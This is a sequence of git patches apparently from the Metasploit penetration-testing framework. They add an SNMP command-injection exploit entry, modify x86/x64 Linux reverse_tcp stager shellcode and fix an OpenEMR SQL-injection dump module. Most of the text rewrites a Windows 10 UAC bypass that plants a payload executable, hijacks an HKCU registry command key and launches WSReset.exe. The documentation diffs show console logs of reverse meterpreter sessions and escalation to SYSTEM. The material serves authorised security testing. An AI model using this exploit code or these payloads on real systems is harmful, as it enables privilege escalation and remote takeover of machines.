+++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index b3ae9e11c8..29c299454c 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -62180,6 +62180,48 @@ }, "needs_cleanup": null }, + "exploit_linux/snmp/awind_snmp_exec": { + "name": "AwindInc SNMP Service Command Injection", + "fullname": "exploit/linux/snmp/awind_snmp_exec", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-03-27", + "type": "exploit", + "author": [ + "Quentin Kaiser " + ], + "description": "This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.\n A valid SNMP read-write community is required to exploit this vulnerability.\n\n The following devices are known to be affected by this issue:\n\n * Crestron Airmedia AM-100 <= version 1.5.0.4\n * Crestron Airmedia AM-101 <= version 2.5.0.12\n * Awind WiPG-1600w <= version 2.0.1.8\n * Awind WiPG-2000d <= version 2.1.6.2\n * Barco wePresent 2000 <= version 2.1.5.7\n * Newline Trucast 2 <= version 2.1.0.5\n * Newline Trucast 3 <= version 2.1.3.7", + "references": [ + "CVE-2017-16709", + "URL-https://github.com/QKaiser/awind-research", + "URL-https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/" + ], + "platform": "Linux,Unix", + "arch": "cmd, armle", + "rport": 161, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Unix In-Memory", + "Linux Dropper" + ], + "mod_time": "2019-09-04 12:04:46 +0000", + "path": "/modules/exploits/linux/snmp/awind_snmp_exec.rb", + "is_install_path": true, + "ref_name": "linux/snmp/awind_snmp_exec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/ssh/ceragon_fibeair_known_privkey": { "name": "Ceragon FibeAir IP-10 SSH Private Key Exposure", "fullname": "exploit/linux/ssh/ceragon_fibeair_known_privkey", From b9e702458df2fe8e2fac2a893af565cf5a8676ad Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 23:01:44 +0530 Subject: [PATCH 141/217] Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md Co-Authored-By: bcoles --- .../modules/exploit/multi/http/october_upload_bypass_exec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md index 1b434bbb56..48f8952431 100644 --- a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md +++ b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md @@ -17,7 +17,7 @@ Touhid M.Shaikh (Metasploit Module) https://www.exploit-db.com/exploits/41936 ## Tested on -HackTheBox October Machine (IP: 10.10.10.16) +This module was tested on October CMS version v1.0.412 on Ubuntu. ## Verification msf5 > use exploit/multi/http/october_upload_bypass_exec From 106913f631f118d4af7bbe6b8ef5d32e828538e3 Mon Sep 17 00:00:00 2001 From: Will Porter Date: Wed, 4 Sep 2019 17:43:34 +0000 Subject: [PATCH 142/217] Correct csv string. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 2e9cb5d92a..78869602c7 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -200,6 +200,7 @@ class MetasploitModule < Msf::Auxiliary for row in data s += row.to_csv end + s end def save_csv(data, table) From bb0f1b02ac5fc0f811036691c97c7b6612920202 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Wed, 4 Sep 2019 14:50:15 -0500 Subject: [PATCH 143/217] Fully golf the x86 read size --- lib/msf/core/payload/linux/reverse_tcp.rb | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 78c9bfaf88..3be6e56bc5 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -89,14 +89,30 @@ module Payload::Linux::ReverseTcp_x86 sleep_seconds = seconds.to_i sleep_nanoseconds = (seconds % 1 * 1000000000).to_i + mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC + if respond_to?(:generate_intermediate_stage) pay_mod = framework.payloads.create(self.refname) read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size else - read_length = 2048 + # If we don't know, at least use small instructions + read_length = 0x0c00 + mprotect_flags end - read_reg = read_length.to_s(16).size > 4 ? 'edx' : 'dx' + # I was bored on the train, ok? + read_reg = + if read_length % 0x100 == mprotect_flags && read_length <= 0xff00 + mprotect_flags + # We use `edx` as part mprotect, but at two bytes assembled, this edge case is worth checking: + # If the lower byte will be the same, just set the upper byte + read_length = read_length / 0x100 + 'dh' + elsif read_length < 0x100 + 'dl' # Also assembles in two bytes ^.^ + elsif read_length < 0x10000 + 'dx' # Shave a byte off of setting `edx` + else + 'edx' # Take five bytes :/ + end asm = %Q^ push #{retry_count} ; retry counter @@ -150,7 +166,7 @@ module Payload::Linux::ReverseTcp_x86 asm << %Q^ mprotect: - mov dl, 0x7 + mov dl, 0x#{mprotect_flags.to_s(16)} mov ecx, 0x1000 mov ebx, esp shr ebx, 0xc @@ -164,7 +180,6 @@ module Payload::Linux::ReverseTcp_x86 pop ebx mov ecx, esp cdq - mov dh, 0xc mov #{read_reg}, 0x#{read_length.to_s(16)} mov al, 0x3 int 0x80 ; sys_read (recv()) From de554b315a183533611b30bd0fb2fc433877762e Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Wed, 4 Sep 2019 14:56:12 -0500 Subject: [PATCH 144/217] Update cached size --- modules/payloads/stagers/linux/x64/reverse_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index 241dc65fe8..a2d14606c5 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/payload/linux/x64/reverse_tcp' module MetasploitModule - CachedSize = 129 + CachedSize = 130 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp_x64 From 4d89dd83e30baeca4663a01cebba8c949e81f5a5 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Wed, 4 Sep 2019 15:17:34 -0500 Subject: [PATCH 145/217] Update payload cached size For real this time? --- modules/payloads/stagers/linux/x64/reverse_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index a2d14606c5..15b116a156 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/payload/linux/x64/reverse_tcp' module MetasploitModule - CachedSize = 130 + CachedSize = 133 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp_x64 From 2ee5ec97e47e7c0e07320c167b88b4a2fc7fc0c2 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Wed, 4 Sep 2019 16:06:44 -0500 Subject: [PATCH 146/217] Use smallest stager size Since these stagers can shrink based on the expected size of the next stage, do our best to anticipate a small size. This makes the cached payload size consistent for now, though if the x64 mettle stager grows past 128 bytes I think we'll see the stager start oscillating in size again. If you run into that and are reading this, sorry :( --- lib/msf/core/payload/linux/reverse_tcp.rb | 2 ++ lib/msf/core/payload/linux/x64/reverse_tcp.rb | 4 ++++ modules/payloads/stagers/linux/x64/reverse_tcp.rb | 2 +- 3 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 3be6e56bc5..f60c76ff53 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -94,6 +94,8 @@ module Payload::Linux::ReverseTcp_x86 if respond_to?(:generate_intermediate_stage) pay_mod = framework.payloads.create(self.refname) read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size + elsif !module_info['Stage']['Payload'].empty? + read_length = module_info['Stage']['Payload'].size else # If we don't know, at least use small instructions read_length = 0x0c00 + mprotect_flags diff --git a/lib/msf/core/payload/linux/x64/reverse_tcp.rb b/lib/msf/core/payload/linux/x64/reverse_tcp.rb index 9706f7827c..abc0fbab75 100644 --- a/lib/msf/core/payload/linux/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/x64/reverse_tcp.rb @@ -88,12 +88,16 @@ module Payload::Linux::ReverseTcp_x64 seconds = (opts[:sleep_seconds] || 5.0) sleep_seconds = seconds.to_i sleep_nanoseconds = (seconds % 1 * 1000000000).to_i + if respond_to?(:generate_intermediate_stage) pay_mod = framework.payloads.create(self.refname) read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size + elsif !module_info['Stage']['Payload'].empty? + read_length = module_info['Stage']['Payload'].size else read_length = 4096 end + asm = %Q^ mmap: xor rdi, rdi diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index 15b116a156..a2d14606c5 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/payload/linux/x64/reverse_tcp' module MetasploitModule - CachedSize = 133 + CachedSize = 130 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp_x64 From 9281c0de121644bd9b87651202e5982ed23c64b0 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 4 Sep 2019 17:03:32 -0500 Subject: [PATCH 147/217] Add some missing pieces to the UAC pypass? --- .../windows/local/bypassuac_windows_store.rb | 72 +++++++++++++------ 1 file changed, 50 insertions(+), 22 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac_windows_store.rb b/modules/exploits/windows/local/bypassuac_windows_store.rb index d992caeda3..d706ff9cc0 100644 --- a/modules/exploits/windows/local/bypassuac_windows_store.rb +++ b/modules/exploits/windows/local/bypassuac_windows_store.rb @@ -46,6 +46,11 @@ class MetasploitModule < Msf::Exploit::Local ], ) ) + register_options([ + OptString.new('PAYLOAD_NAME', + [false, 'The filename to use for the payload binary (%RAND% by default).', nil]), + ]) + end def check @@ -57,7 +62,6 @@ class MetasploitModule < Msf::Exploit::Local def exploit check_permissions! - case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, @@ -73,32 +77,56 @@ class MetasploitModule < Msf::Exploit::Local return end - exploit_win_dir = "C:\\Windows \\" - exploit_dir = "C:\\Windows \\System32\\" - exploit_file = exploit_dir + "WSReset.exe" - unless exists? exploit_win_dir - print_status("Creating directory '#{exploit_win_dir}'...") - session.fs.dir.mkdir(exploit_win_dir) - end - unless exists? exploit_dir - print_status("Creating directory '#{exploit_dir}'...") - session.fs.dir.mkdir(exploit_dir) - end - unless exists? exploit_file - session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file) - end + #get directory stuff straight + win_dir = session.sys.config.getenv('windir') + vprint_status("win_dir = " + win_dir) + tmp_dir = session.sys.config.getenv('tmp') + vprint_status("tmp_dir = " + tmp_dir) + exploit_dir = win_dir + "\\System32\\" + vprint_status("exploit_dir = " + exploit_dir) + reset_filepath = exploit_dir + "WSReset.exe" + vprint_status("exploit_file = " + reset_filepath) - payload_dll = "C:\\Windows \\System32\\propsys.dll" - print_status("Creating payload '#{payload_dll}'...") - payload = generate_payload_dll - write_file(payload_dll, payload) - print_status("Executing WSReset.exe...") + # make payload + vprint_status("make payload name") + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' + vprint_status("make payload pathname") + payload_pathname = tmp_dir + '\\' + payload_name + vprint_status("make payload") + payload = generate_payload_exe + +# reg_command = exploit_dir + "cmd.exe /c start cmd.exe" + reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" + vprint_status("reg_command = " + reg_command) + registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command" + + + # Make registry changes + vprint_status("Making Registry Changes") begin - session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, {'Hidden' => true}) + registry_createkey(registry_key) + registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ") + registry_setvaldata(registry_key, '', reg_command, "REG_SZ") rescue ::Exception => e print_error(e.to_s) end - print_warning("This exploit requires manual cleanup of the '#{exploit_win_dir}' and '#{exploit_dir}' directories!") + vprint_status("Registry Changes Complete") + # Upload payload + vprint_status("Uploading Payload to #{payload_pathname}") + write_file(payload_pathname, payload) + vprint_status("Payload Upload Complete") + + vprint_status("Launching "+ reset_filepath) + begin + session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, {'Hidden' => true}) + rescue ::Exception => e + print_error(e.to_s) + end + print_warning("This exploit requires manual cleanup of '#{payload_pathname}!") + sleep(20) + vprint_status("Removing Registry Changes") + registry_deletekey(registry_key) + vprint_status("Registry Changes Removed") end def check_permissions! From 56d81052e8496a27978d0ed1ba4427449748f741 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 5 Sep 2019 09:47:04 -0500 Subject: [PATCH 148/217] Save the data we just collected Instead of just throwing it away after printing. --- modules/post/multi/gather/resolve_hosts.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index 8b731de5ee..f0b80fa0b4 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -72,6 +72,10 @@ class MetasploitModule < Msf::Post if result[:ip].nil? table << [result[:hostname], '[Failed To Resolve]'] else + report_host( + host: result[:ip], + name: result[:hostname] + ) table << [result[:hostname], result[:ip]] end end From 56b0d575481049acf912fec1c6ad3a0e5ae50e2c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 5 Sep 2019 11:28:50 -0500 Subject: [PATCH 149/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 29c299454c..834583b4b7 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -145363,7 +145363,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-05-05 16:30:19 +0000", + "mod_time": "2019-09-04 16:06:44 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter/reverse_tcp", @@ -145601,7 +145601,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-05-05 16:30:19 +0000", + "mod_time": "2019-09-04 16:06:44 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell/reverse_tcp", From b876afa20ffd0d5c8147c202a661f9ba2221f990 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 5 Sep 2019 11:33:05 -0500 Subject: [PATCH 150/217] Fixed up the code before pushing it. --- .../windows/local/bypassuac_windows_store.rb | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac_windows_store.rb b/modules/exploits/windows/local/bypassuac_windows_store.rb index d706ff9cc0..927c43b08c 100644 --- a/modules/exploits/windows/local/bypassuac_windows_store.rb +++ b/modules/exploits/windows/local/bypassuac_windows_store.rb @@ -14,18 +14,19 @@ class MetasploitModule < Msf::Exploit::Local def initialize(info = {}) super( update_info( info, - 'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)', + 'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry', 'Description' => %q{ - This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool - is run with the "autoElevate" property set to true, however it can be moved to - a new Windows directory containing a space (C:\Windows \System32\) where, upon - execution, it will load our payload dll (propsys.dll). + This module exploits a flaw in the WSReset.exe file associated with the Windows + Store. This binary has autoelevate privs, and it will run a binary file + contained in a low-privilege registry location. By placing a link to + the binary in the registry location, WSReset.exe will launch the binary as + a privileged user. }, 'License' => MSF_LICENSE, 'Author' => [ - 'ACTIVELabs', # discovery - 'sailay1996', # poc - 'timwr', # metasploit module + 'ACTIVELabs', # discovery + 'sailay1996', # poc + 'bwatters-r7', # metasploit module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], @@ -41,6 +42,7 @@ class MetasploitModule < Msf::Exploit::Local 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], }, 'References' => [ + ['URL', 'https://www.activecyber.us/activelabs/windows-uac-bypass'], ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'], ['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'], ], @@ -77,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Local return end - #get directory stuff straight + #get directory locations straight win_dir = session.sys.config.getenv('windir') vprint_status("win_dir = " + win_dir) tmp_dir = session.sys.config.getenv('tmp') @@ -94,8 +96,6 @@ class MetasploitModule < Msf::Exploit::Local payload_pathname = tmp_dir + '\\' + payload_name vprint_status("make payload") payload = generate_payload_exe - -# reg_command = exploit_dir + "cmd.exe /c start cmd.exe" reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" vprint_status("reg_command = " + reg_command) registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command" @@ -123,6 +123,7 @@ class MetasploitModule < Msf::Exploit::Local print_error(e.to_s) end print_warning("This exploit requires manual cleanup of '#{payload_pathname}!") + # wait for a few seconds before cleaning up sleep(20) vprint_status("Removing Registry Changes") registry_deletekey(registry_key) From cf3f6c90f8eda75fbf65ae18762505810fbee983 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 5 Sep 2019 11:35:10 -0500 Subject: [PATCH 151/217] Renamed file to make room for the other UAC bypass targeting the same exe --- ...{bypassuac_windows_store.rb => bypassuac_windows_store_reg.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/local/{bypassuac_windows_store.rb => bypassuac_windows_store_reg.rb} (100%) diff --git a/modules/exploits/windows/local/bypassuac_windows_store.rb b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb similarity index 100% rename from modules/exploits/windows/local/bypassuac_windows_store.rb rename to modules/exploits/windows/local/bypassuac_windows_store_reg.rb From 481c13ea0fafe4dbdd1a66b7bc27ae4989b45029 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 5 Sep 2019 11:44:00 -0500 Subject: [PATCH 152/217] Rubocop changes --- .../local/bypassuac_windows_store_reg.rb | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac_windows_store_reg.rb b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb index 927c43b08c..84d3b308d3 100644 --- a/modules/exploits/windows/local/bypassuac_windows_store_reg.rb +++ b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb @@ -13,15 +13,15 @@ class MetasploitModule < Msf::Exploit::Local def initialize(info = {}) super( - update_info( info, + update_info(info, 'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry', - 'Description' => %q{ + 'Description' => %q( This module exploits a flaw in the WSReset.exe file associated with the Windows Store. This binary has autoelevate privs, and it will run a binary file contained in a low-privilege registry location. By placing a link to the binary in the registry location, WSReset.exe will launch the binary as a privileged user. - }, + ), 'License' => MSF_LICENSE, 'Author' => [ 'ACTIVELabs', # discovery @@ -39,19 +39,18 @@ class MetasploitModule < Msf::Exploit::Local 'DisclosureDate' => 'Aug 22 2019', 'Notes' => { - 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] }, 'References' => [ ['URL', 'https://www.activecyber.us/activelabs/windows-uac-bypass'], ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'], ['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'], - ], + ] ) ) - register_options([ - OptString.new('PAYLOAD_NAME', - [false, 'The filename to use for the payload binary (%RAND% by default).', nil]), - ]) + register_options( + [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])] + ) end @@ -59,6 +58,7 @@ class MetasploitModule < Msf::Exploit::Local if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe") return CheckCode::Appears end + CheckCode::Safe end @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Local return end - #get directory locations straight + # get directory locations straight win_dir = session.sys.config.getenv('windir') vprint_status("win_dir = " + win_dir) tmp_dir = session.sys.config.getenv('tmp') @@ -101,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command" - # Make registry changes + # make registry changes vprint_status("Making Registry Changes") begin registry_createkey(registry_key) @@ -116,9 +116,9 @@ class MetasploitModule < Msf::Exploit::Local write_file(payload_pathname, payload) vprint_status("Payload Upload Complete") - vprint_status("Launching "+ reset_filepath) + vprint_status("Launching " + reset_filepath) begin - session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, {'Hidden' => true}) + session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true) rescue ::Exception => e print_error(e.to_s) end From cc9d9bb48390116becf6b0a5d1490329bfa2b968 Mon Sep 17 00:00:00 2001 From: Tim W Date: Fri, 6 Sep 2019 00:52:13 +0800 Subject: [PATCH 153/217] s/bypassuac_windows_store/bypassuac_windows_store_filesys/g --- ...store.md => bypassuac_windows_store_filesys.md} | 14 +++++++------- ...store.rb => bypassuac_windows_store_filesys.rb} | 0 2 files changed, 7 insertions(+), 7 deletions(-) rename documentation/modules/exploit/windows/local/{bypassuac_windows_store.md => bypassuac_windows_store_filesys.md} (79%) rename modules/exploits/windows/local/{bypassuac_windows_store.rb => bypassuac_windows_store_filesys.rb} (100%) diff --git a/documentation/modules/exploit/windows/local/bypassuac_windows_store.md b/documentation/modules/exploit/windows/local/bypassuac_windows_store_filesys.md similarity index 79% rename from documentation/modules/exploit/windows/local/bypassuac_windows_store.md rename to documentation/modules/exploit/windows/local/bypassuac_windows_store_filesys.md index 46c6137ee3..9ea4c3f8ab 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_windows_store.md +++ b/documentation/modules/exploit/windows/local/bypassuac_windows_store_filesys.md @@ -8,7 +8,7 @@ execution, it will load our payload dll (propsys.dll). ## Usage 1. Create a session on the target system under the context of a local administrative user. -1. Begin interacting with the module: `use exploit/windows/local/bypassuac_windows_store`. +1. Begin interacting with the module: `use exploit/windows/local/bypassuac_windows_store_filesys`. 1. Set the `PAYLOAD` and configure it correctly, making sure the architecture is correct. 1. If an existing handler is configured to receive the elevated session, then the module's handler should be disabled: `set DisablePayloadHandler true`. @@ -20,16 +20,16 @@ execution, it will load our payload dll (propsys.dll). ### Windows 10.0.17134.885 x64 ``` -msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_windows_store -msf5 exploit(windows/local/bypassuac_windows_store) > set SESSION 1 +msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_windows_store_filesys +msf5 exploit(windows/local/bypassuac_windows_store_filesys) > set SESSION 1 SESSION => 1 -msf5 exploit(windows/local/bypassuac_windows_store) > set payload windows/x64/meterpreter/reverse_tcp +msf5 exploit(windows/local/bypassuac_windows_store_filesys) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/local/bypassuac_windows_store) > set LPORT 5555 +msf5 exploit(windows/local/bypassuac_windows_store_filesys) > set LPORT 5555 LPORT => 5555 -msf5 exploit(windows/local/bypassuac_windows_store) > set LHOST 192.168.56.1 +msf5 exploit(windows/local/bypassuac_windows_store_filesys) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(windows/local/bypassuac_windows_store) > run +msf5 exploit(windows/local/bypassuac_windows_store_filesys) > run [*] Started reverse TCP handler on 192.168.56.1:5555 [*] UAC is Enabled, checking level... diff --git a/modules/exploits/windows/local/bypassuac_windows_store.rb b/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb similarity index 100% rename from modules/exploits/windows/local/bypassuac_windows_store.rb rename to modules/exploits/windows/local/bypassuac_windows_store_filesys.rb From 4e5e29fb52f3168937dddf436cf8d6f07fd71687 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 5 Sep 2019 11:56:32 -0500 Subject: [PATCH 154/217] Update documentation --- .../windows/local/bypassuac_windows_store.md | 62 ++++++++++++------- 1 file changed, 39 insertions(+), 23 deletions(-) diff --git a/documentation/modules/exploit/windows/local/bypassuac_windows_store.md b/documentation/modules/exploit/windows/local/bypassuac_windows_store.md index 46c6137ee3..27f41edc39 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_windows_store.md +++ b/documentation/modules/exploit/windows/local/bypassuac_windows_store.md @@ -1,15 +1,17 @@ ## Intro This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool -is run with the "autoElevate" property set to true, however it can be moved to -a new Windows directory containing a space (C:\Windows \System32\) where, upon -execution, it will load our payload dll (propsys.dll). +is run with the "autoElevate" property set to true, and it will automatically +launch a file from a low-privilege registry location with elevated privileges. +To bypass, simply place the binary on disk, write its location in the +correct registry key, and run WSReset.exe. The binary will be run with elevated +privileges. ## Usage 1. Create a session on the target system under the context of a local administrative user. -1. Begin interacting with the module: `use exploit/windows/local/bypassuac_windows_store`. -1. Set the `PAYLOAD` and configure it correctly, making sure the architecture is correct. +1. Begin interacting with the module: `use exploit/windows/local/bypassuac_windows_store_reg`. +1. Set the `PAYLOAD` and configure it correctly. 1. If an existing handler is configured to receive the elevated session, then the module's handler should be disabled: `set DisablePayloadHandler true`. 1. Make sure that the `SESSION` value is set to the existing session identifier. @@ -20,31 +22,45 @@ execution, it will load our payload dll (propsys.dll). ### Windows 10.0.17134.885 x64 ``` -msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_windows_store -msf5 exploit(windows/local/bypassuac_windows_store) > set SESSION 1 -SESSION => 1 -msf5 exploit(windows/local/bypassuac_windows_store) > set payload windows/x64/meterpreter/reverse_tcp -payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/local/bypassuac_windows_store) > set LPORT 5555 -LPORT => 5555 -msf5 exploit(windows/local/bypassuac_windows_store) > set LHOST 192.168.56.1 -LHOST => 192.168.56.1 msf5 exploit(windows/local/bypassuac_windows_store) > run -[*] Started reverse TCP handler on 192.168.56.1:5555 +[*] Started reverse TCP handler on 192.168.135.168:4444 [*] UAC is Enabled, checking level... +[*] Checking admin status... [+] Part of Administrators group! Continuing... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... -[*] Creating directory 'C:\Windows \'... -[*] Creating directory 'C:\Windows \System32\'... -[*] Creating payload 'C:\Windows \System32\propsys.dll'... -[*] Executing WSReset.exe... -[!] This exploit requires manual cleanup of the 'C:\Windows \' and 'C:\Windows \System32\' directories! -[*] Sending stage (206403 bytes) to 192.168.56.3 -[*] Meterpreter session 2 opened (192.168.56.1:5555 -> 192.168.56.3:49803) at 2019-08-24 13:20:11 +0800 +[*] win_dir = C:\Windows +[*] tmp_dir = C:\Users\msfuser\AppData\Local\Temp +[*] exploit_dir = C:\Windows\System32\ +[*] exploit_file = C:\Windows\System32\WSReset.exe +[*] make payload name +[*] make payload pathname +[*] make payload +[*] reg_command = C:\Windows\System32\cmd.exe /c start C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe +[*] Making Registry Changes +[*] Registry Changes Complete +[*] Uploading Payload to C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe +[*] Payload Upload Complete +[*] Launching C:\Windows\System32\WSReset.exe +[!] This exploit requires manual cleanup of 'C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe! +[*] Sending stage (206403 bytes) to 192.168.132.125 +[*] Meterpreter session 4 opened (192.168.135.168:4444 -> 192.168.132.125:49680) at 2019-09-04 17:01:46 -0500 +[*] Removing Registry Changes +[*] Registry Changes Removed +meterpreter > sysinfo +Computer : DESKTOP-3DKRD1E +OS : Windows 10 (Build 17134). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: DESKTOP-3DKRD1E\msfuser meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). -meterpreter > +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM ``` From 